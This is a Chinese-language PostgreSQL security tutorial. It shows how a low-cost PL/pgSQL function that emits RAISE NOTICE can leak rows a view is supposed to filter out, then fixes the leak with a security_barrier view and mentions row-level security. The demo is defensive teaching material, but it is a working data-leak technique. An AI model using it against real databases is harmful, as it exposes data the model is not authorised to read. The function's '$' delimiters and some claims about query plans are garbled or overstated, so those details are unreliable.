PostgreSQL 安全管理 视图攻击

1 背景知识

攻击者可能会使用视图攻击函数,从而获取额外数据,此种攻击方式称之为视图攻击。本文介绍如何进行视图攻击的方法和应对解决方案。

1.1 视图攻击的定义

视图攻击函数(View Injection Function)是一种针对数据库应用程序的攻击技术,攻击者通过操控或注入数据,利用程序中对数据库视图的处理漏洞,获取、篡改或删除数据。
通过合理的安全防护措施,可以有效减少这类攻击的风险。

1.2 视图攻击的危害

1、数据泄露:
攻击者可以通过特殊构造的输入,获取数据库中敏感信息(如用户凭证、个人信息)。
2、数据篡改:
通过注入恶意代码或SQL语句,攻击者可能修改数据库中的数据内容。
3、系统访问:
某些情况下,视图攻击函数可以被用来提升权限,获取更高的系统访问权限。

1.3 视图攻击的预防措施

1、输入验证:
对所有用户输入的数据进行严格验证和清理。
2、参数化查询:
使用参数化查询而不是直接拼接SQL语句,降低注入风险。
3、代码审计:
定期审查代码,发现和修复潜在的安全漏洞。

2 环境准备

2.1 准备测试数据

创建一张表 t01,插入5行数据。

DROP TABLE IF EXISTS t01;
CREATE TABLE t01(id int, info text);
INSERT INTO t01 VALUES(1,'a'),(2,'b'),(3,'c'),(4,'d'),(5,'e');
SELECT * FROM t01;

2.2 创建视图

创建 v_t01 视图并使用 WHERE 语句限制 id<3 的数据能够被查询。

CREATE VIEW v_t01 AS SELECT * FROM t01 WHERE id<3;
GRANT SELECT on  v_t01 TO user01;

2.3 创造视图攻击函数ATTACK

创建函数 attack ,并使用 COST 选项为函数指定执行代价,而优化器则会优先执行攻击函数 attack

CREATE OR REPLACE FUNCTION attack(int, text) RETURNS boolean as $  
declare  
BEGIN
  raise notice '%,%', $1,$2;  
  return true;  
END;  
$ language plpgsql COST 0.00000000000000000000001;  

3 进行视图攻击

查询 v_t01 视图时,使用 attack 函数作为 where 条件。从结果中可以获取 t01 表中额外数据。

SELECT * FROM v_t01 WHERE attack(id, info);
//屏幕输出:
NOTICE:  1,a
NOTICE:  2,b
NOTICE:  3,c
NOTICE:  4,d
NOTICE:  5,e
 id | info
----+------
  1 | a
  2 | b
(2 rows)
Note

为什么会出现这种情况,原因是函数 attackCOST 选项函数执行的代价非常小,所以函数可以优先执行。这样将会绕过视图直接访问所有数据从而导致数据泄露。

4 防止视图攻击

为了避免出现以上情况。可以使用两种方案进行规避。
第一种方案: 使用 security_barrier 选项,这将导致优化器将被废弃,输出结果将会变为正常。但是将会让执行计划只走全表扫描(seq scan),性能将成为比较大的问题。
第二种方案:可以使用行级安全性 方案实现相同的功能。

4.1 视图重建

删除 v_t01 视图,以 security_barrier 选项创建视图。

DROP VIEW v_t01;
CREATE VIEW v_t01 WITH(security_barrier) AS SELECT * FROM t01 WHERE id<3;
GRANT SELECT ON  v_t01 to user01;

4.2 攻击函数失效

查看输出结果,发现输出结果正常。

SELECT * FROM v_t01 WHERE attack(id, info);
//屏幕输出:
NOTICE:  1,a
NOTICE:  2,b
 id | info
----+------
  1 | a
  2 | b
(2 rows)